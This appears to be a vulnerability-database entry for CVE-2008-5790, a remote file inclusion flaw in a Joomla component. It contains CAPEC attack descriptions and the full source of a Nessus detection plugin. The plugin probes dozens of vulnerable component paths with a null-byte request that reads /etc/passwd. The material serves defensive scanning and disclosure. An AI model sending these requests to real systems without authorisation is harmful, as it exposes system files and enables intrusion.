Vulnerabilities > CVE-2008-5790 - Code Injection vulnerability in Recly Competitions 1.0

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
recly
joomla
CWE-94
nessus
exploit available
NVD
Published: 2008-12-31
Updated: 2017-09-29

Summary

Multiple PHP remote file inclusion vulnerabilities in the Recly!Competitions (com_competitions) component 1.0 for Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the (1) GLOBALS[mosConfig_absolute_path] parameter to (a) add.php and (b) competitions.php in includes/competitions/, and the (2) mosConfig_absolute_path parameter to (c) includes/settings/settings.php.

Vulnerable Configurations

Part Description Count
Application
Recly
1
Application
Joomla
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionJoomla Component Recly!Competitions 1.0.0 Multiple RFI Vulnerabilities. CVE-2008-5790. Webapps exploit for php platform
fileexploits/php/webapps/7039.txt
idEDB-ID:7039
last seen2016-02-01
modified2008-11-07
platformphp
port
published2008-11-07
reporterNoGe
sourcehttps://www.exploit-db.com/download/7039/
titleJoomla Component Recly!Competitions 1.0.0 - Multiple RFI Vulnerabilities
typewebapps

Nessus

NASL familyCGI abuses
NASL idMOSCONFIG_ABSOLUTE_PATH_FILE_INCLUDE.NASL
descriptionA third-party component for Mambo, Module, or Joomla! is running on the remote host. At least one of these components is a version that is affected by a remote file include vulnerability due to improper sanitization of user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id22049
published2006-07-15
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/22049
titleMambo / Joomla! Component / Module 'mosConfig_absolute_path' Multiple Parameter Remote File Include Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22049);
  script_version("1.109");
  script_cvs_date("Date: 2018/11/15 20:50:18");

  script_cve_id(
    "CVE-2006-3396",
    "CVE-2006-3530",
    "CVE-2006-3556",
    "CVE-2006-3748",
    "CVE-2006-3749",
    "CVE-2006-3750",
    "CVE-2006-3751",
    "CVE-2006-3773",
    "CVE-2006-3774",
    "CVE-2006-3846",
    "CVE-2006-3947",
    "CVE-2006-3949",
    "CVE-2006-3980",
    "CVE-2006-3995",
    "CVE-2006-4074",
    "CVE-2006-4130",
    "CVE-2006-4195",
    "CVE-2006-4270",
    "CVE-2006-4288",
    "CVE-2006-4553",
    "CVE-2006-4858",
    "CVE-2006-5045",
    "CVE-2006-5048",
    "CVE-2006-5519",
    "CVE-2006-6962",
    "CVE-2007-1702",
    "CVE-2007-2005",
    "CVE-2007-2144",
    "CVE-2007-2319",
    "CVE-2007-3130",
    "CVE-2007-5310",
    "CVE-2007-5412",
    "CVE-2007-5457",
    "CVE-2008-0567",
    "CVE-2008-5789",
    "CVE-2008-5790",
    "CVE-2008-5793",
    "CVE-2008-6841",
    "CVE-2010-2918"
  );
  script_bugtraq_id(
    18705,
    18808,
    18876,
    18919,
    18924,
    18968,
    18991,
    19037,
    19042,
    19044,
    19047,
    19100,
    19217,
    19222,
    19223,
    19224,
    19233,
    19373,
    19465,
    19505,
    19574,
    19581,
    19725,
    20018,
    20667,
    23125,
    23408,
    23490,
    23529,
    24342,
    25959,
    26002,
    26044,
    27531,
    28942,
    30093,
    32190,
    32192,
    32194
  );
  script_xref(name:"EDB-ID", value:"1959");
  script_xref(name:"EDB-ID", value:"2020");
  script_xref(name:"EDB-ID", value:"2023");
  script_xref(name:"EDB-ID", value:"2029");
  script_xref(name:"EDB-ID", value:"2083");
  script_xref(name:"EDB-ID", value:"2089");
  script_xref(name:"EDB-ID", value:"2125");
  script_xref(name:"EDB-ID", value:"2196");
  script_xref(name:"EDB-ID", value:"2205");
  script_xref(name:"EDB-ID", value:"2206");
  script_xref(name:"EDB-ID", value:"2207");
  script_xref(name:"EDB-ID", value:"2214");
  script_xref(name:"EDB-ID", value:"2367");
  script_xref(name:"EDB-ID", value:"2613");
  script_xref(name:"EDB-ID", value:"3567");
  script_xref(name:"EDB-ID", value:"3703");
  script_xref(name:"EDB-ID", value:"3753");
  script_xref(name:"EDB-ID", value:"4497");
  script_xref(name:"EDB-ID", value:"4507");
  script_xref(name:"EDB-ID", value:"4521");
  script_xref(name:"EDB-ID", value:"5020");
  script_xref(name:"EDB-ID", value:"5497");
  script_xref(name:"EDB-ID", value:"6003");
  script_xref(name:"EDB-ID", value:"7038");
  script_xref(name:"EDB-ID", value:"7039");
  script_xref(name:"EDB-ID", value:"7040");

  script_name(english:"Mambo / Joomla! Component / Module 'mosConfig_absolute_path' Multiple Parameter Remote File Include Vulnerabilities");
  script_summary(english:"Attempts to read a local file using Mambo / Joomla components and modules.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple remote file include vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"A third-party component for Mambo, Module, or Joomla! is running on
the remote host. At least one of these components is a version that is
affected by a remote file include vulnerability due to improper
sanitization of user-supplied input to the 'mosConfig_absolute_path'
parameter before using it to include PHP code. Provided the PHP
'register_globals' setting is enabled, an unauthenticated, remote
attacker can exploit this issue to disclose arbitrary files or execute
arbitrary PHP code on the remote host, subject to the privileges of
the web server user ID.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/439035/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/439451/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/439618/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/439963/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/439997/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/440881/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/441533/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/441538/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/441541/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/444425/30/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://packetstormsecurity.com/0607-exploits/smf.txt");
  script_set_attribute(attribute:"see_also", value:"https://isc.sans.edu/diary/Attacks+against+Joomla+com_peoplebook/1526");
  script_set_attribute(attribute:"solution", value:
"Disable the PHP 'register_globals' setting or contact the product's
vendor to see if an upgrade exists.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Extcalendar RFI");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');
  script_cwe_id(94);

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/06/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/07/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("mambo_detect.nasl", "joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:80, php:TRUE);

# Generate a list of paths to check.
mambo = get_dirs_from_kb(appname:'mambo_mos', port:port);
if (isnull(mambo)) mambo = make_list();

joomla = make_list();
joomla_installs = get_installs(
  app_name : "Joomla!",
  port     : port
);

if (joomla_installs[0] == IF_OK)
{
  foreach install (joomla_installs[1])
  {
    dir = install['path'];
    joomla = make_list(dir, joomla);
  }
}

dirs = make_list(mambo, joomla);

if (max_index(dirs) == 0)
  audit(AUDIT_WEB_APP_NOT_INST, "Joomla! / Mambo", port);

# Vulnerable scripts.
# - components.
ncoms = 0;
com = make_array();
# -   A6MamboCredits
com[ncoms++] = "/administrator/components/com_a6mambocredits/admin.a6mambocredits.php";
# -   Art*Links
com[ncoms++] = "/components/com_artlinks/artlinks.dispnew.php";
# -   Chrono Forms
com[ncoms++] = "/administrator/components/com_chronocontact/excelwriter/PPS/File.php";
com[ncoms++] = "/administrator/components/com_chronocontact/excelwriter/Writer.php";
com[ncoms++] = "/administrator/components/com_chronocontact/excelwriter/PPS.php";
com[ncoms++] = "/administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php";
com[ncoms++] = "/administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php";
com[ncoms++] = "/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php";
com[ncoms++] = "/administrator/components/com_chronocontact/excelwriter/Writer/Format.php";
# -   Clickheat
com[ncoms++] = "/administrator/components/com_clickheat/install.clickheat.php";
com[ncoms++] = "/administrator/components/com_clickheat/includes/heatmap/_main.php";
com[ncoms++] = "/administrator/components/com_clickheat/includes/heatmap/main.php";
com[ncoms++] = "/administrator/components/com_clickheat/includes/overview/main.php";
com[ncoms++] = "/administrator/components/com_clickheat/Recly/Clickheat/Cache.php";
com[ncoms++] = "/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php";
com[ncoms++] = "/administrator/components/com_clickheat/Recly/common/GlobalVariables.php";
# -   Community Builder
com[ncoms++] = "/administrator/components/com_comprofiler/plugin.class.php";
# -   Coppermine Photo Gallery
com[ncoms++] = "/components/com_cpg/cpg.php";
# -   DBQ Manager
com[ncoms++] = "/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php";
# -   ExtCalendar
com[ncoms++] = "/components/com_extcalendar/extcalendar.php";
# -   Feederator
com[ncoms++] = "/administrator/components/com_feederator/includes/tmsp/add_tmsp.php";
com[ncoms++] = "/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php";
com[ncoms++] = "/administrator/components/com_feederator/includes/tmsp/subscription.php";
com[ncoms++] = "/administrator/components/com_feederator/includes/tmsp/tmsp.php";
# -   Galleria
com[ncoms++] = "/components/com_galleria/galleria.html.php";
# -   Hashcash
com[ncoms++] = "/components/com_hashcash/server.php";
# -   HTMLArea3
com[ncoms++] = "/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php";
# -   JD-Wiki
com[ncoms++] = "/components/com_jd-wiki/lib/tpl/default/main.php";
com[ncoms++] = "/components/com_jd-wiki/bin/dwpage.php";
com[ncoms++] = "/components/com_jd-wiki/bin/wantedpages.php";
# -    Joomla Flash Uploader
com[ncoms++] = "/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php";
com[ncoms++] = "/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php";
# -   JoomlaPack
com[ncoms++] = "/administrator/components/com_jpack/includes/CAltInstaller.php";
# -   Joomla-Visites
com[ncoms++] = "/administrator/components/com_joomla-visites/core/include/myMailer.class.php";
# -   Link Directory
com[ncoms++] = "/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php";
# -   LoudMouth
com[ncoms++] = "/components/com_loudmouth/includes/abbc/abbc.class.php";
# -   Mambatstaff
com[ncoms++] = "/components/com_mambatstaff/mambatstaff.php";
# -   MambelFish
com[ncoms++] = "/administrator/components/com_mambelfish/mambelfish.class.php";
# -   Mambo Gallery Manager
com[ncoms++] = "/administrator/components/com_mgm/help.mgm.php";
# -   Mosets Tree
com[ncoms++] = "/components/com_mtree/Savant2/Savant2_Plugin_textarea.php";
# -  mp3_allopass
com[ncoms++] = "/components/com_mp3_allopass/allopass.php";
com[ncoms++] = "/components/com_mp3_allopass/allopass-error.php";
# -   Multibanners
com[ncoms++] = "/administrator/components/com_multibanners/extadminmenus.class.php";
# -   PCCookbook
com[ncoms++] = "/components/com_pccookbook/pccookbook.php";
# -   Peoplebook
com[ncoms++] = "/administrator/components/com_peoplebook/param.peoplebook.php";
# -   perForms
com[ncoms++] = "/components/com_performs/performs.php";
# -   phpShop
com[ncoms++] = "/administrator/components/com_phpshop/toolbar.phpshop.html.php";
# -   PollXT
com[ncoms++] = "/administrator/components/com_pollxt/conf.pollxt.php";
# -   Recly!Competitions
com[ncoms++] = "/administrator/components/com_competitions/includes/competitions/add.php";
com[ncoms++] = "/administrator/components/com_competitions/includes/competitions/competitions.php";
com[ncoms++] = "/administrator/components/com_competitions/includes/settings/settings.php";
# -   Remository
com[ncoms++] = "/administrator/components/com_remository/admin.remository.php";
# -   rsGallery
com[ncoms++] = "/components/com_rsgallery2/rsgallery2.php";
com[ncoms++] = "/components/com_rsgallery2/rsgallery2.html.php";
# -   Security Images
com[ncoms++] = "/administrator/components/com_securityimages/configinsert.php";
com[ncoms++] = "/administrator/components/com_securityimages/lang.php";
# -   Serverstat
com[ncoms++] = "/administrator/components/com_serverstat/install.serverstat.php";
# -   SiteMap
com[ncoms++] = "/components/com_sitemap/sitemap.xml.php";
# -   SMF Forum
com[ncoms++] = "/components/com_smf/smf.php";
# -   Taskhopper
com[ncoms++] = "/components/com_thopper/inc/contact_type.php";
com[ncoms++] = "/components/com_thopper/inc/itemstatus_type.php";
com[ncoms++] = "/components/com_thopper/inc/projectstatus_type.php";
com[ncoms++] = "/components/com_thopper/inc/request_type.php";
com[ncoms++] = "/components/com_thopper/inc/responses_type.php";
com[ncoms++] = "/components/com_thopper/inc/timelog_type.php";
com[ncoms++] = "/components/com_thopper/inc/urgency_type.php";
# -   User Home Pages
com[ncoms++] = "/administrator/components/com_uhp/uhp_config.php";
com[ncoms++] = "/administrator/components/com_uhp2/footer.php";
# -   VideoDB
com[ncoms++] = "/administrator/components/com_videodb/core/videodb.class.xml.php";
# -    WmT Portfolio
com[ncoms++] = "/administrator/components/com_wmtportfolio/admin.wmtportfolio.php";
# - modules.
nmods = 0;
mod = make_array();
# -   Autostand
mod[nmods++] = "/mod_as_category.php";
mod[nmods++] = "/mod_as_category/mod_as_category.php";
# -   FlatMenu
mod[nmods++] = "/mod_flatmenu.php";
# -   MambWeather
mod[nmods++] = "/MambWeather/Savant2/Savant2_Plugin_options.php";


# Loop through each directory.
info = "";
contents = "";
foreach dir (list_uniq(dirs))
{
  # Try to exploit the flaw to read a file.
  file = "/etc/passwd%00";
  for (i=0; i<ncoms; i++)
  {
    w = http_send_recv3(
      method : "GET",
      item   : dir + com[i] + "?mosConfig_absolute_path=" + file,
      port   : port,
      exit_on_fail : TRUE
    );
    res = strcat(w[0], w[1], '\r\n', w[2]);

    # There's a problem if...
    if (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream".
      egrep(pattern:"\(/etc/passwd\\0.+ failed to open stream", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction.
      egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
    )
    {
      info = info +
             "  " + dir + com[i] + '\n';

      if (!contents && egrep(string:res, pattern:"root:.*:0:[01]:"))
      {
        contents = strstr(res, '\r\n\r\n') - '\r\n\r\n';
        if ("<br" >< contents) contents = contents - strstr(contents, "<br");
      }

      if (!thorough_tests) break;
    }
  }
  if (info && !thorough_tests) break;

  for (i=0; i<nmods; i++)
  {
    w = http_send_recv3(
      method : "GET",
      item   : dir + "/modules/" + mod[i] + "?mosConfig_absolute_path=" + file,
      port   : port,
      exit_on_fail : TRUE
    );
    res = strcat(w[0], w[1], '\r\n', w[2]);

    # There's a problem if...
    if (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream".
      egrep(pattern:"\(/etc/passwd\\0.+ failed to open stream", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction.
      egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
    )
    {
      info = info +
             "  " + dir + "/modules/" + mod[i] + '\n';

      if (!contents && egrep(string:res, pattern:"root:.*:0:[01]:"))
      {
        contents = strstr(res, '\r\n\r\n') - '\r\n\r\n';
        if ("<br" >< contents) contents = contents - strstr(contents, "<br");
      }

      if (!thorough_tests) break;
    }
  }
  if (info && !thorough_tests) break;
}

if (info)
{
  if (empty_or_null(contents)) contents = 'The response output includes an error message which indicates that the installed component is affected. Below is the response : \n\n' + res;

  security_report_v4(
    port        : port,
    severity    : SECURITY_WARNING,
    file        : "/etc/passwd",
    request     : split(info),
    output      : contents,
    attach_type : 'text/plain'
  );
  exit(0);
}
else
  exit(0, "No affected components were found on the web server on port "+port+".");

References